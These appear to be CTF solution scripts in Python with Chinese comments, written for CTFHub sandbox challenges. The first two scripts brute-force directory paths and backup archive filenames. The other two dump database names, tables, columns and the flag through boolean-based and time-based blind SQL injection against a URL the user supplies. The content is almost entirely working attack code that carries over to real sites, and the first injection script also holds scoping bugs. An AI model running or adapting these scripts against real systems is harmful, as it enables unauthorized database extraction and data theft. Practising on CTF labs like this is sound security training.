# _*_ coding:utf-8 _*_

import requests

url = "http://challenge-0b7cf3fe1d9ef811.sandbox.ctfhub.com:10800/flag_in_here"#靶机 url

for i in range(5):#i 为 0-4 的数

    for j in range(5):#j 为 0-4 的数

        url_final = url + "/" + str(i) + "/" + str(j)#将最终的目录拼接出来

        r = requests.get(url_final)#获得服务器返回的 Response

        r.encoding = "utf-8"

        get_file=r.text#得到 text 内容

        if "flag" in get_file:#判断 flag 是否在返回值中

            print(url_final)

import requests

url="http://challenge-584841b234301423.sandbox.ctfhub.com:10800/"

list1=['web', 'website', 'backup', 'back', 'www', 'wwwroot', 'temp']

list2=['tar', 'tar.gz', 'zip', 'rar']

for i in list1:

    for j in list2:

        url_final=url+i+"."+j

        r=requests.get(url_final)

        if(r.status_code == 200):

            print(url_final)

import requests

urlOPEN = input('输入url:\n')

mark = 'query_success'

database_name = ''

table_list = []

column_list = []

flag=''

def get_database_name():#查库名

	for j in range(1,9):#数据库名限制为 64 字符，但一般小于 9，为了效率

		for i in 'abcdefghijklnmopqrstuvwxyz':#linux 下 mysql 应该是对大小写敏感的，而 windows 则不

			url = urlOPEN+'if(substr(database(),%d,1)="%s",1,(select table_name from information_schema.tables))' %(j,i)

			r = requests.get(url)

			if mark in r.text:

				database_name = database_name+i

				print(database_name)

				break

	print('database_name:',database_name)

get_database_name()

def get_table_name():#查表名

    for k in range(0,4):#看前四个表

        name=''

        for j in range(1,9):#一般来说表的最大长度有 64

            for i in 'abcdefghijklnmopqrstuvwxyz':

                url = urlOPEN+'if(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))' %(k,j,i)

                r = requests.get(url)

                if mark in r.text:

                    name = name+i

                    break

        table_list.append(name)

    print('table_name:',table_list)

get_table_name()

def get_column_name():#查列

    for k in range(0,3): #判断列里最多有 4 个字段

        name=''

        for j in range(1,9): #判断一个字段名最多有 9 个字符组成

            for i in 'abcdefghijklnmopqrstuvwxyz':

                url=urlOPEN+'if(substr((select column_name from information_schema.columns where table_name="flag"and table_schema= database() limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))' %(k,j,i)

                r=requests.get(url)

                if mark in r.text:

                    name=name+i

                    break

        column_list.append(name)

    print ('column_name:',column_list)

get_column_name()

def get_data():

        for j in range(1,50): #判断一个值最多有 51 个字符组成

            for i in range(48,126):#ascii48-126 对应的数字 + 英文 +{,},|

                url=urlOPEN+'if(ascii(substr((select flag from flag),%d,1))=%d,1,(select table_name from information_schema.tables))' %(j,i)

                r=requests.get(url)

                if mark in r.text:

                    flag=flag+chr(i)

                    print(flag)

                    break

        print ('flag:',flag)

get_data()

import requests

import time

urlOPEN = input('输入url:\n')

mark = 'query_success'

database_name = ''

table_list = []

column_list = []

flag = ''

def get_database_name():#查库名

    global database_name

    for j in range(1,9):#数据库名限制为 64 字符，但一般小于 9，为了效率

        for i in 'abcdefghijklnmopqrstuvwxyz':#linux 下 mysql 应该是对大小写敏感的，而 windows 则不

            url = urlOPEN+'if(substr(database(),%d,1)="%s",sleep(1),1)' %(j,i)

            start_time = time.time()

            r = requests.get(url)

            end_time = time.time()

            t = end_time - start_time

            if (t > 1):

                database_name = database_name+i

                print(database_name)

                break

    print('database_name:',database_name)

get_database_name()

def get_table_name():#查表名

    global table_list

    for k in range(0,4):#看前四个表

        name=''

        for j in range(1,9):#一般来说表的最大长度有 64

            for i in 'abcdefghijklnmopqrstuvwxyz':

                url = urlOPEN+'if(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1)="%s",sleep(1),1)' %(k,j,i)

                start_time = time.time()

                r = requests.get(url)

                end_time = time.time()

                t = end_time - start_time

                if (t > 1):

                    name = name+i

                    break

        table_list.append(name)

    print('table_name:',table_list)

get_table_name()

def get_column_name():#查列

    global column_list

    for k in range(0,3): #判断列里最多有 4 个字段

        name=''

        for j in range(1,9): #判断一个字段名最多有 9 个字符组成

            for i in 'abcdefghijklnmopqrstuvwxyz':

                url=urlOPEN+'if(substr((select column_name from information_schema.columns where table_name="flag"and table_schema= database() limit %d,1),%d,1)="%s",sleep(1),1)' %(k,j,i)

                start_time = time.time()

                r = requests.get(url)

                end_time = time.time()

                t = end_time - start_time

                if (t > 1):

                    name=name+i

                    break

        column_list.append(name)

    print ('column_name:',column_list)

get_column_name()

def get_data():

    global flag

    for j in range(1,50): #判断一个值最多有 51 个字符组成

        for i in range(48,126):#ascii48-126 对应的数字 + 英文 +{,},|

            url=urlOPEN+'if(ascii(substr((select flag from flag),%d,1))=%d,sleep(1),1)' %(j,i)

            start_time = time.time()

            r = requests.get(url)

            end_time = time.time()

            t = end_time - start_time

            if (t > 1):

                flag=flag+chr(i)

                print(flag)

                break

    print ('flag:',flag)

get_data()